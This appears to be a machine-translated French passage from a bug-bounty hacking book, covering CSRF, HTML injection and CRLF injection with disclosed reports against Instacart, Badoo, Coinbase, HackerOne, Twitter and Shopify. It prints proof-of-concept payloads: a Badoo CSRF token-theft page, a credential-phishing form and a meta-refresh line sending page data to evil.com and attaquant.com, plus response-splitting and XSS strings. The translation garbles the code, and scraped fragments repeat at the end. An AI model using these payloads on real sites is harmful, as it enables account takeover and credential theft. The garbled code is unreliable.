nom="passer outre"valeur="vrai"/> <entréetapez="soumettre"valeur="Envoyer la
demande"/> </form>
</corps>
</html>
Dans cet exemple, le pirate a créé un formulaire pour accéder à l'API avec une requête POST. Ils ont ensuite utilisé
deux entrées masquées : une pour définir la nouvelle zone de l'utilisateur sur le code postal 10001 et une pour définir
le paramètre de remplacement de l'API sur true afin que la valeur actuelle du code postal de l'utilisateur soit
remplacée par la valeur soumise par le pirate informatique. Finalement, le hacker a soumis le formulaire pour faire la
requête POST. Ce POC diffère du précédent car il obligerait une victime à cliquer sur un bouton pour soumettre la
demande puisque le pirate informatique n'a pas utilisé de fonction JavaScript de soumission automatique.
Bien que cet exemple fonctionne toujours, il pourrait être amélioré en utilisant les techniques décrites
précédemment, telles que l'utilisation d'une iframe cachée et la soumission automatique de la demande au
nom de l'utilisateur. Cela démontrerait aux trieurs de bug bounty d'Instacart comment un attaquant pourrait
utiliser cette vulnérabilité sans aucune action de la victime, car les vulnérabilités qui ne nécessitent pas ou ne
limitent pas l'interaction de la victime ont potentiellement plus d'impact puisque moins d'efforts sont
nécessaires pour exploiter la vulnérabilité.
Points à retenir
Lorsque vous recherchez des exploits, élargissez la portée de votre attaque et regardez au-delà des seules
pages d'un site pour inclure ses points de terminaison d'API, qui offrent un grand potentiel de vulnérabilités. Il
arrive parfois que les développeurs oublient que les points de terminaison d'API peuvent être découverts et
exploités car ils ne sont pas facilement disponibles comme les pages Web (par exemple, les points de
terminaison d'API mobiles nécessitent l'interception de votre trafic téléphonique).
3. Reprise complète du compte Badoo
Difficulté: Moyen
URL: https://badoo.com
Date de déclaration: 1 avril 2016
Prime payée: 852$
Description:
Si vous visitez et explorez le site Web du réseau socialhttps://www.badoo.com/, vous verrez qu'ils se protègent
contre les vulnérabilités CSRF avec un jeton CSRF. Plus précisément, ils utilisent un paramètre d'URL, rt, qui est
unique à chaque utilisateur, mais ne comporte que cinq chiffres (au moins au moment de la rédaction). Bien
que j'aie remarqué cela lorsque le programme de bug bounty de Badoo a été mis en ligne sur HackerOne, je
n'ai pas trouvé de moyen de l'exploiter. Cependant, le hacker Mahmoud Jamal l’a fait.
Reconnaissant le paramètre rt et sa signification, il a également remarqué que le paramètre était

renvoyé dans presque toutes les réponses JSON. Malheureusement, cela n'a pas été utile car CORS
protège Badoo des attaquants lisant ces réponses car elles sont codées en tant que types de
contenu application/json, mais Mahmoud a continué à creuser.
Mahmoud trouve alors le fichier JavaScript suivant :
https://eu1.badoo.com/worker-scope/chrome-service-worker.js
Dans ce fichier, il y avait une variableurl_statsça ressemblait à :
var url_stats = 'https://eu1.badoo.com/chrome-push-stats?ws=1&rt=<rt_param_value>';
Leurl_statsLa variable stockait une URL contenant la valeur rt unique de l'utilisateur en tant que paramètre
lorsque le navigateur de l'utilisateur accédait au fichier JavaScript. Ce qui était encore mieux, c'est que
pour obtenir la valeur rt de l'utilisateur, un attaquant aurait simplement besoin que la victime visite une
page Web malveillante qui accéderait au fichier JavaScript. L'attaquant pourrait alors utiliser
la valeur rt pour lier n'importe quel compte de réseau social au compte Badoo de l'utilisateur, ce qui
donnerait à l'attaquant la possibilité de se connecter et de modifier le compte de la victime. Voici la page
HTML utilisée par Mahmoud pour réaliser cela (j'ai supprimé le code et les valeurs d'état à des fins de
formatage) :
<html>
<tête>
<titre>Prise de contrôle du compte Badoo</titre>
<scriptsrc=https://eu1.badoo.com/worker-scope/chrome-service-worker.js?ws=1></s\ cript>
</tête>
<corps>
<script>
fonction getCSRFcode(str) {
return str.split('=')[2];
}
window.onload = fonction(){
var csrf_code = getCSRFcode(url_stats);
csrf_url ='https://eu1.badoo.com/google/verify.phtml?code=CODE&utilisateur=3&
session_state=ÉTAT&invite = aucun&rt='+csrf_code;
fenêtre.emplacement = csrf_url ;
};
</script>
</corps>
</html>
Lorsqu'une victime chargeait cette page, elle chargeait le JavaScript Badoo en le référençant comme
attribut src dans une balise de script. Après avoir chargé le script, la page web appelle alors la fonction
JavaScript window.onload qui définit une fonction JavaScript anonyme. Le gestionnaire d'événements
onload est appelé par les navigateurs lors du chargement d'une page Web, et puisque la fonction définie
par Mahmoud est stockée dans le gestionnaire window.onload, sa fonction sera toujours appelée lors du
chargement de la page.
Ensuite, Mahmoud a créé une variable csrf_code et lui a attribué la valeur de retour d'une fonction
qu'il a appelée getCSRFcode. Cette fonction prend et divise une chaîne en un tableau de chaînes à
chaque caractère '='. Il renvoie ensuite la valeur du troisième membre du tableau. Lorsque la
fonction analyse la variable url_stats du fichier JavaScript vulnérable de Badoo, elle divise la chaîne
en valeur de tableau :
https://eu1.badoo.com/chrome-push-stats?ws,1&rt,<rt_param_value>
Ensuite, la fonction renvoie le troisième membre du tableau, qui est la valeur rt afin que
csrf_code soit désormais égal à la valeur rt.
Une fois qu'il dispose du jeton CSRF, Mahmoud crée la variable csrf_url, qui stocke une URL vers la
page Web /google/verify.phtml de Badoo, qui relie son propre compte Google au compte Badoo de
la victime. Cette page nécessite certains paramètres, qui sont codés en dur dans la chaîne URL.
Nous ne les aborderons pas en détail ici car ceux-ci sont spécifiques à Badoo, cependant, vous
devez prendre note du paramètre rt final qui n'a pas de valeur codée en dur.
Au lieu de cela, csrf_code est concaténé à la fin de la chaîne URL afin qu'il soit transmis comme
valeur du paramètre rt. Mahmoud effectue ensuite une requête HTTP en appelant window.location
et l'attribue à csrf_url, qui redirige le navigateur de l'utilisateur visiteur vers l'URL de csrf_url. Le
navigateur de l'utilisateur traite ensuite la page /google/verify.phtml et relie le compte Badoo de
l'utilisateur au compte Google de Mahmoud, complétant ainsi la prise de contrôle du compte.
Points à retenir
Là où il y a de la fumée, il y a du feu. Ici, Mahmoud a remarqué que le paramètre rt était renvoyé

à différents endroits, notamment dans les réponses JSON. Pour cette raison, il a deviné à juste
titre que le rt pourrait apparaître quelque part où un attaquant pourrait y accéder et l'exploiter,
ce qui dans ce cas était un fichier JavaScript. Si vous sentez que quelque chose ne va pas,
continuez à creuser. Utilisez un proxy et vérifiez toutes les ressources appelées lorsque vous
visitez un site ou une application cible. Vous pouvez trouver une fuite d'informations avec des
données sensibles, telles qu'un jeton CSRF.
De plus, il s’agit d’un excellent exemple d’effort supplémentaire pour fournir une preuve impressionnante d’un
exploit. Non seulement Mahmoud a découvert la vulnérabilité, mais il a également fourni un exemple complet
de la manière dont elle pourrait être exploitée via son code HTML.
Résumé
Les vulnérabilités CSRF représentent un autre vecteur d’attaque et peuvent être exécutées sans même qu’une
victime ne le sache ou n’effectue activement une action. Trouver les vulnérabilités CSRF demande une certaine
ingéniosité et encore une fois, le désir de tout tester.
Généralement, les frameworks d'application comme Ruby on Rails protègent de plus en plus les formulaires
Web si le site effectue des requêtes POST. Cependant, ce n'est pas le cas pour les requêtes GET, alors assurez-
vous de garder un œil sur tous les appels HTTP GET qui changent d'utilisateur côté serveur. données (comme
les actions DELETE). Enfin, si vous voyez qu'un site envoie un jeton CSRF avec une requête POST, essayez de
modifier la valeur du jeton CSRF ou de le supprimer complètement pour vous assurer que le serveur valide son
existence.
7. Injection HTML
Description
L’injection HTML (Hypertext Markup Language) est également parfois appelée dégradation virtuelle. Il s'agit en
réalité d'une attaque rendue possible par un site permettant à un utilisateur malveillant d'injecter du HTML
dans sa ou ses pages Web en ne gérant pas correctement les entrées d'un utilisateur. En d’autres termes, une
vulnérabilité d’injection HTML est provoquée par la réception de code HTML, généralement via une entrée de
formulaire, qui est ensuite restituée telle qu’elle a été saisie sur la page Web. Ceci est distinct de l’injection de
Javascript, VBScript, etc., qui peut conduire à des attaques de type Cross Site Scripting.
Étant donné que HTML est le langage utilisé pour définir la structure d'une page Web, si un attaquant peut injecter
du HTML, il peut essentiellement modifier le rendu d'un navigateur et l'apparence d'une page Web. Parfois, cela peut
entraîner un changement complet de l'apparence d'une page ou, dans d'autres cas, la création de formulaires HTML
pour tromper les utilisateurs dans l'espoir qu'ils utilisent le formulaire pour soumettre des informations sensibles
(c'est ce qu'on appelle le phishing). Par exemple, si vous pouviez injecter du HTML, vous pourrez peut-être ajouter un
<formulaire>balise la page, demandant à l'utilisateur de ressaisir son nom d'utilisateur et son mot de passe comme :
<formulaireméthode='POSTE'action='http://attaquant.com/capture.php'identifiant="Formulaire de connexion"
> <entréetapez='texte'nom='nom d'utilisateur'valeur=''> <entréetapez='mot de passe'nom='mot de passe'
valeur=''> <entréetapez='soumettre'valeur='soumettre'> </form>
Cependant, lors de la soumission de ce formulaire, les informations sont effectivement envoyées àhttp://attaquant.com
via un attribut d'action, qui envoie les informations à la page Web d'un attaquant.
Exemples
1. Commentaires sur Coinbase
Difficulté: Faible
URL: coinbase.com/apps
Injection HTML 39
Prime payée: 200$
Description:
Pour cette vulnérabilité, le journaliste a identifié que Coinbase décodait en fait les valeurs codées par URI
lors du rendu du texte. Pour ceux qui ne sont pas familiers, les caractères d’un URI sont soit réservés, soit
non réservés. Selon Wikipédia, « réservés » sont des caractères qui ont parfois une signification
particulière comme / et &. Les caractères non réservés sont ceux qui n'ont aucune signification
particulière, généralement juste des lettres.
Ainsi, lorsqu'un caractère est codé en URI, il est converti en sa valeur d'octet dans l'American
Standard Code for Information Interchange (ASCII) et précédé d'un signe de pourcentage (%).
Ainsi, / devient %2F et devient %26. Soit dit en passant, l'ASCII est un type d'encodage qui était
le plus courant sur Internet jusqu'à l'arrivée d'UTF-8, un autre type d'encodage.
En ce qui concerne cet exemple, si un attaquant saisit du HTML comme :
<h1>Ceci est un test</h1>
Coinbase rendrait cela sous forme de texte brut, exactement comme vous le voyez ci-dessus. Cependant, si
l'utilisateur a soumis des caractères codés en URL, tels que :
%3C%68%31%3E%54%68%69%73%20%69%73%20%61%20%74%65%73%74%3C%2F%68%31%3E
Coinbase décoderait en fait cette chaîne et restituerait les lettres correspondantes dans<h1>
Mots clés:
C'est un test
Avec cela, le pirate informatique a démontré comment il pouvait générer un formulaire HTML avec des champs de
nom d'utilisateur et de mot de passe, que Coinbase rendrait. Si le pirate informatique avait été malveillant, il aurait pu
utiliser cette vulnérabilité pour inciter les utilisateurs à soumettre un formulaire qu'il contrôlait, rendu sur Coinbase,
afin de soumettre des valeurs à un site Web malveillant et de capturer des informations d'identification (en supposant
que les personnes aient rempli et soumis le formulaire).
Injection HTML 40
Points à retenir
Lorsque vous testez un site, vérifiez comment il gère différents types de saisie,
notamment le texte brut et le texte codé. Soyez à l'affût des sites qui acceptent les
valeurs codées URI telles que %2F et restituent leurs valeurs décodées, dans ce cas /.
Bien que nous ne sachions pas à quoi pensait le pirate informatique dans cet exemple,
il est possible qu'il ait essayé d'encoder des caractères restreints par URI et ait
remarqué que Coinbase les décodait. Ils sont ensuite allés plus loin et l’URI a codé tous
les caractères.
Un grand suisse armée couteau lequel comprend codage outils est

https://gchq.github.io/CyberChef/. Je vous recommande de le vérifier et de l'ajouter à
votre liste d'outils utiles.
2. Inclusion HTML involontaire de HackerOne
Difficulté: Moyen
URL: hackerone.com
Prime payée: 500$
Description:
Après avoir lu des informations sur Yahoo! XSS (inclus dans le chapitre Cross-Site Scripting) Je suis devenu
obsédé par les tests de rendu HTML dans les éditeurs de texte. Cela impliquait de jouer avec l'éditeur
Markdown de HackerOne, de saisir des éléments tels queismap = « aaa = xxx »et"'test"à l'intérieur des
balises d'image. Ce faisant, j'ai remarqué que l'éditeur incluait un guillemet simple dans un guillemet
double - ce qu'on appelle un balisage suspendu.
À l’époque, je n’en comprenais pas vraiment les implications. Je savais que si vous injectiez un autre
guillemet simple quelque part, les deux pourraient être analysés ensemble par un navigateur qui
verrait tout le contenu entre eux comme un seul élément HTML. Par exemple:
<h1>Ceci est un test</h1><p class="some class">du contenu</p>'
Avec cet exemple, si vous parvenez à injecter une balise méta avec un guillemet simple suspendu
comme celui-ci dans l'attribut content :
<méta http-equiv="refresh" content='0; url=https://evil.com/log.php?text=
Le navigateur soumettrait tout ce qui se trouve entre les deux guillemets simples lorsqu'il effectuait l'action
d'actualisation en appelanthttps://mal.com(une balise méta d'actualisation demande à un navigateur Web de
Injection HTML 41
actualise automatiquement la page Web ou le cadre actuel après un intervalle de temps donné et peut
être utilisé pour indiquer au navigateur de demander une nouvelle page via l'attribut URL). Il s'avère que
cela a été connu et divulgué dans le rapport HackerOne 110578 parInti De Ceukelaire3. Quand cela est
devenu public, mon cœur s’est un peu serré.
Selon HackerOne, ils s'appuient sur une implémentation de Redcarpet (une bibliothèque Ruby pour le
traitement Markdown) pour échapper à la sortie HTML de toute entrée Markdown qui est ensuite
transmise directement dans le DOM HTML via la méthode dangereusementSetInnerHTML dans leur
composant React (React est un Javascript). bibliothèque qui peut être utilisée pour mettre à jour
dynamiquement le contenu d'une page Web sans recharger la page). Dans l'implémentation de
HackerOne, ils n'échappaient pas correctement à la sortie HTML, ce qui a conduit à l'exploit potentiel.
Cela dit, voyant la divulgation, j'ai pensé tester le nouveau code. Je suis revenu et j'ai testé en ajoutant :
[test](http://www.torontowebsitedeveloper.com "test ismap="alert xss" yyy="test"")
qui a été rendu comme suit :
<a title="'test" ismap="alert xss" yyy="test" ' ref="http://www.toronotwebsitedeveloper.com">test</a>
Comme vous pouvez le voir, j'ai pu injecter un tas de HTML dans le<a>étiqueter. En conséquence,
HackerOne a annulé son correctif d'origine et a recommencé à travailler sur l'échappement du guillemet
unique.
Points à retenir
Ce n’est pas parce que le code est mis à jour que tout est corrigé. Testez les choses. Lorsqu’un
changement est déployé, cela signifie également un nouveau code pouvant contenir des bugs.
De plus, si vous sentez que quelque chose ne va pas, continuez à creuser ! Je savais que le
guillemet simple final initial pouvait être un problème, mais je ne savais pas comment l'exploiter
et je me suis arrêté. J'aurais dû continuer. En fait, j'ai découvert l'exploit de méta-actualisation en
lisant le fichier FileDescriptorblog.innerht.ml(c'est inclus dans le chapitre Ressources) mais
beaucoup plus tard.
3. Dans le cadre de la sécurité de l'usurpation de contenu
Difficulté: Faible
URL: insidesecurity.com/wp-login.php
3https://hackerone.com/intidc
Injection HTML 42
Prime payée: 250$
Description:
Bien que l'usurpation de contenu soit techniquement un type de vulnérabilité différent de

l'injection HTML, je l'ai inclus ici car il partage la nature similaire d'un attaquant ayant un site
restitué le contenu de son choix.
Within Security a été construit sur la plateforme Wordpress qui inclut le chemin de connexion
insidesecurity.com/wp-login.php(le site a depuis fusionné avec la plateforme principale HackerOne). Un
pirate informatique a remarqué que pendant le processus de connexion, si une erreur se
produisait, Within Security rendrait access_denied, qui correspondait également au paramètre
d'erreur dans l'URL :
https://withinsecurity.com/wp-login.php?error=access_denied
Remarquant cela, le pirate informatique a essayé de modifier le paramètre d'erreur et a constaté que quelle
que soit la valeur transmise, elle était restituée par le site dans le cadre du message d'erreur présenté aux
utilisateurs. Voici l'exemple utilisé :
https://withinsecurity.com/wp-login.php?error=Your%20account%20has%20%hacked
Usurpation de contenu WithinSecurity
La clé ici était de remarquer le paramètre dans l'URL affiché sur la page. Un simple test
modifiant le paramètre access_denied a probablement révélé la vulnérabilité dans ce cas,
ce qui a conduit au rapport.
Injection HTML 43
Points à retenir
Gardez un œil sur les paramètres d'URL qui sont transmis et affichés en tant que contenu du site.
Ils peuvent offrir aux attaquants la possibilité d’inciter leurs victimes à effectuer des actions
malveillantes. Parfois, cela entraîne des attaques par script intersite, tandis que d’autres fois, il
s’agit d’une usurpation de contenu et d’une injection HTML moins percutantes. Il est important de
garder à l'esprit que même si ce rapport a payé 250 $, il s'agit de la prime minimale pour Within
Security et que tous les programmes n'apprécient pas et ne paient pas pour ce type de rapports.
Résumé
HTML Injection présente une vulnérabilité pour les sites et les développeurs, car elle peut être utilisée pour
hameçonner les utilisateurs et les inciter à soumettre des informations sensibles ou à visiter des sites Web
malveillants.
Découvrir ces types de vulnérabilités ne consiste pas toujours à soumettre du code HTML brut, mais également
à explorer la manière dont un site peut restituer le texte saisi, comme les caractères codés par URI. Et même si
ce n'est pas tout à fait la même chose que l'injection HTML, l'usurpation de contenu est similaire dans le sens
où elle implique que certaines entrées soient renvoyées à une victime dans la page HTML. Les pirates doivent
être à l’affût de toute possibilité de manipuler les paramètres d’URL et de les afficher sur le site, mais gardez à
l’esprit que tous les sites n’apprécient pas et ne paient pas pour ce type de rapports.
8. Injection de CRLF
Description
Une vulnérabilité d'injection de saut de ligne de retour chariot (CRLF) se produit lorsqu'une application ne
nettoie pas correctement les entrées de l'utilisateur et permet l'insertion de retours chariot et de sauts de
ligne, entrées qui, pour de nombreux protocoles Internet, y compris HTML, indiquent des sauts de ligne et ont
une signification particulière.
Par exemple, l'analyse des messages HTTP s'appuie sur les caractères CRLF pour identifier les sections
des messages HTTP, y compris les en-têtes, tels que définis dans les RFC et utilisés par les navigateurs.
Encodés en URL, ces caractères sont %0D%0A, qui décodés représentent \r\n. L'effet d'une injection CRLF
inclut la contrebande de requêtes HTTP et le fractionnement des réponses HTTP.
La contrebande de requêtes HTTP se produit lorsqu'une requête HTTP est transmise via un serveur
qui la traite et la transmet à un autre serveur, comme un proxy ou un pare-feu. Ce type de
vulnérabilité peut entraîner :
• Empoisonnement du cache, situation dans laquelle un attaquant peut modifier les entrées dans le cache d'une
application et servir des pages malveillantes (par exemple, contenant du JavaScript) au lieu d'une page appropriée.
• Évasion du pare-feu, où une demande peut être rédigée à l'aide de CRLF pour éviter les contrôles de sécurité.
• Request Hijacking, une situation dans laquelle un attaquant peut voler les cookies HttpOnly et les
informations d'authentification HTTP. Ceci est similaire à XSS mais ne nécessite aucune interaction
entre l'attaquant et le client.
Or, même si ces vulnérabilités existent, elles sont difficiles à réaliser et les détailler
dépasse le cadre de ce livre. Je les ai référencés ici uniquement pour démontrer la
gravité de l'impact du trafic de demandes.
Cependant, le fractionnement des réponses HTTP permet à un attaquant d'insérer des en-têtes de réponse
HTTP et potentiellement de contrôler les corps de réponse HTTP ou de diviser entièrement la réponse, créant
ainsi deux réponses distinctes. Ceci est efficace car la modification des en-têtes HTTP peut entraîner un
comportement inattendu, tel que la redirection d'un utilisateur vers un site Web inattendu ou la diffusion d'un
nouveau contenu explicitement contrôlé par des attaquants.
CRLF Injection 45
1. Fractionnement de la réponse HTTP Twitter
Difficulté: Haut
URL: https://twitter.com/i/safety/report_story
Date de déclaration: 21 avril 2015
Prime payée: 3 500 $
Description:
En avril 2015, @filedescriptor a signalé une vulnérabilité sur Twitter qui permettait aux pirates informatiques
de définir un cookie arbitraire en ajoutant des informations supplémentaires à une requête HTTP.
Essentiellement, la requête HTTP àhttps://twitter.com/i/safety/report_story(une relique de Twitter

permettant aux utilisateurs de signaler des publicités inappropriées) inclurait un paramètre
rapporté_tweet_id. En répondant, Twitter renverrait également un cookie contenant le même
paramètre transmis avec la requête HTTP. Lors de ses tests, @filedescriptor a noté que les
caractères CR et LF étaient nettoyés, que LF était remplacé par un espace et CR entraînerait
HTTP 400 (Bad Request Error).
Cependant, étant une encyclopédie de connaissances, il savait que FireFox avait auparavant un bug
d'encodage qui supprimait tous les caractères invalides reçus lors de la configuration des cookies
au lieu de les encoder. Cela était dû au fait que FireFox n'acceptait qu'une certaine plage de valeurs
acceptables. En testant une approche similaire avec Twitter, @filedescriptor a utilisé le caractère
Unicode å˜� (U+560A) qui se termine par %0A, un saut de ligne. Mais ce n'était pas la solution. Mais
ce paramètre était transmis dans l'URL, ce qui signifie qu'il s'agissait d'une URL codée en UTF-8. En
conséquence, å˜� est devenu %E5%98%8A.
Maintenant, en soumettant cette valeur, @filedescriptor a constaté que Twitter ne détecterait

aucun caractère malveillant, son serveur décoderait la valeur en sa valeur Unicode 56 0A et
supprimerait le caractère invalide 56. Cela laissait les caractères de saut de ligne 0A comme
démontré dans son image illustrant le processus :
CRLF Injection 46
Processus de décodage CRLF
De même, il a pu passer%E5%98%8A%E5%98%8DSet-Cookie:%20testce qui a entraîné

l'inclusion de %0A et %0D dans l'en-tête du cookie et lui a permis de recevoir Set-
Cookie: test en retour de Twitter.
Désormais, les attaques CLRF peuvent être encore plus dangereuses lorsqu'elles autorisent des attaques
XSS (voir le chapitre Cross-Site Scripting pour plus d'informations). Dans ce cas, comme les filtres Twitter
ont été contournés, @filedescriptor a pu diviser la réponse et exécuter XSS pour voler la session et le
jeton d'un utilisateur. Voici l'URL répartie sur plusieurs lignes à des fins de formatage :
CRLF Injection 47
https://twitter.com/login?redirect_after_login= https://twitter.com:21/%E5%98%8A%E5%98%8Dcontent-type:text/
html%E5%98%8A%E5%98 Emplacement %8D :%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/
onload=alert%28innerHTML%2\ 9%E5%98%BE
Notez les valeurs de 3 octets réparties partout, %E5%98%8A, %E5%98%8D, %E5%98%BC,

%E5%98%BE. Tout cela est décodé en :
%E5%98%8A => 56 0A => %0A

%E5%98%8D => 56 0D => %0D
%E5%98%BC => 56 3C => %3C
%E5%98%BE => 56 3E => %3E
En remplaçant tous ces caractères et en ajoutant des sauts de ligne, voici à quoi ressemble l'en-
tête :
https://twitter.com/login?redirect_after_login=https://twitter.com:21/
content-type:text/html
emplacement:
<svg/onload=alerte(innerHTML)>
Comme vous pouvez le voir, les sauts de ligne permettent la création d'un nouvel en-tête qui sera
renvoyé avec du code JavaScript exécutable - svg/onload=alert(innerHTML). L'alerte créera une fenêtre
contextuelle avec le contenu de la page Web comme preuve de concept pour Twitter. Avec ce code, un
utilisateur malveillant pourrait voler les informations de session Twitter d'une victime sans méfiance
puisque ces informations sensibles étaient incluses en en-tête après l'emplacement d'injection exploité
par @filedescriptor.
Points à retenir
Un bon hacking est une combinaison d’observation et de compétence. Dans ce cas,

@filedescriptor était au courant d'un précédent bug d'encodage de Firefox qui gérait mal
l'encodage. S'appuyant sur ces connaissances, il a testé un codage similaire sur Twitter pour
insérer des caractères malveillants.
Lorsque vous recherchez des vulnérabilités, n'oubliez pas de sortir des sentiers battus et de
soumettre des valeurs codées pour voir comment le site gère l'entrée.
2. Fractionnement des réponses v.shopify.com
Difficulté: Moyen
CRLF Injection 48
URL: v.shopify.com/last_shop?x.myshopify.com Lien de
rapport:https://hackerone.com/reports/1064272
Prime payée: 500$ Description:
En tant qu'administrateur de boutique, Shopify inclut une fonctionnalité côté serveur qui définit un cookie sur votre
navigateur pour enregistrer la dernière boutique à laquelle vous vous êtes connecté. Il s'agit probablement d'une
fonction pratique pour vous rediriger vers votre sous-domaine lors de la connexion et de la déconnexion, car les URL
suivent le modèle STORENAME.myshopify.com. Ce paramétrage des cookies s'effectue via une requête GET adressée
à /last_shop?SITENAME.shopify.com
En décembre 2015, un pirate informatique a signalé que Shopify ne validait pas le paramètre de boutique
transmis lors de l'appel. En conséquence, à l'aide de Burp Suite, ce pirate informatique a modifié la requête en
ajoutant %0d%0a pour générer de nouveaux en-têtes renvoyés par les serveurs Shopify. Voici une capture
d'écran :
Fractionnement des réponses HTTP Shopify
Voici le code malveillant :
%0d%0aContent-Length :%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type :%20text/h\

tml%0d%0aContent-Length :%2019%0d%0a% 0d%0a<html>rendre illisible</html>
Dans ce cas, le %20 représente un espace et %0d%0a est le CRLF. En conséquence, le

navigateur a reçu deux réponses HTTP valides et a rendu la seconde, ce qui aurait pu conduire
à diverses vulnérabilités, notamment XSS et phishing.
Points à retenir
Soyez à l'affût des opportunités dans lesquelles un site accepte votre contribution et l'utilise dans le
cadre de ses en-têtes de retour, en particulier en définissant des cookies. Ceci est particulièrement
important lorsqu'il se produit via une requête GET, car moins d'interactions de la part de la victime sont
nécessaires.

FR Attak

Transféré par

Informations du document

Titre original

Copyright

Formats disponibles

Partager ce document

Partager ou intégrer le document

Options de partage

Avez-vous trouvé ce document utile ?

Ce contenu est-il inapproprié ?

Droits d'auteur :

Formats disponibles

FR Attak

Transféré par

Droits d'auteur :

Formats disponibles

Traduit de Anglais vers Français - www.onlinedoctranslator.

5. Pollution des paramètres HTTP

HPP côté serveur

transfer_money(params) #user.account (12345) devient params[2]

Ce code crée deux fonctions, prepare_transfer et transfer_money. La fonction prepare_-

HPP côté client

<?valeur $=caractères spéciaux html($_GET['par'],ENT_QUOTES);?>

Maintenant,par(avec le & codé en %26) serait transmis à la fonction htmlspecialchars. Cette

Ce faisant, un attaquant a réussi à ajouter l'action=edit supplémentaire à l'URL href, ce qui

1. Boutons de partage social HackerOne

Date de déclaration: 18 décembre 2015

Prime payée: 500$

2. Notifications de désabonnement de Twitter

Date de déclaration: 23 août 2015

Prime payée: 700$

Malgré une brève description, les efforts de Mert démontrent l'importance de la

3. Intentions Web Twitter

Lien de rapport:Attaque de falsification de paramètres sur les intentions Web de Twitter3

Date de déclaration: novembre 2015

Prime payée: Non dévoilé

Twitter traiterait la demande en donnant la priorité à la secondeNom d'écran valorisez ericrtest3

La découverte de ces types de vulnérabilités dépend davantage de l'expérimentation que d'autres

1. Bob se connecte à son site bancaire pour vérifier son solde.

CSRF avec requêtes GET

CSRF avec requêtes POST

<iframestyle="affichage : aucun"nom="cadre csrf"></iframe>

Défenses contre les attaques CSRF

1. Déconnexion Twitter de Shopify

Date de déclaration: 17 janvier 2016

Prime payée: 500$

Le hacker WeSecureApp, qui a déposé le rapport, a fourni l'exemple suivant de requête

2. Modifier les zones Instacart des utilisateurs

Date de déclaration: 9 août 2015

Prime payée: 100$

3. Reprise complète du compte Badoo

Date de déclaration: 1 avril 2016

Prime payée: 852$

Reconnaissant le paramètre rt et sa signification, il a également remarqué que le paramètre était

Mahmoud trouve alors le fichier JavaScript suivant :

Dans ce fichier, il y avait une variableurl_statsça ressemblait à :

var url_stats = 'https://eu1.badoo.com/chrome-push-stats?ws=1&rt=<rt_param_value>';

Là où il y a de la fumée, il y a du feu. Ici, Mahmoud a remarqué que le paramètre rt était renvoyé

> <entréetapez='texte'nom='nom d'utilisateur'valeur=''> <entréetapez='mot de passe'nom='mot de passe'

valeur=''> <entréetapez='soumettre'valeur='soumettre'> </form>

1. Commentaires sur Coinbase

Date de déclaration: 10 décembre 2015

Prime payée: 200$

En ce qui concerne cet exemple, si un attaquant saisit du HTML comme :

<h1>Ceci est un test</h1>

Un grand suisse armée couteau lequel comprend codage outils est

2. Inclusion HTML involontaire de HackerOne

Date de déclaration: 26 janvier 2016

Prime payée: 500$

<h1>Ceci est un test</h1><p class="some class">du contenu</p>'

<méta http-equiv="refresh" content='0; url=https://evil.com/log.php?text=

[test](http://www.torontowebsitedeveloper.com "test ismap="alert xss" yyy="test"")

qui a été rendu comme suit :

<a title="'test" ismap="alert xss" yyy="test" ' ref="http://www.toronotwebsitedeveloper.com">test</a>

3. Dans le cadre de la sécurité de l'usurpation de contenu

Date de déclaration: 16 janvier 2015

Prime payée: 250$

Bien que l'usurpation de contenu soit techniquement un type de vulnérabilité différent de

Usurpation de contenu WithinSecurity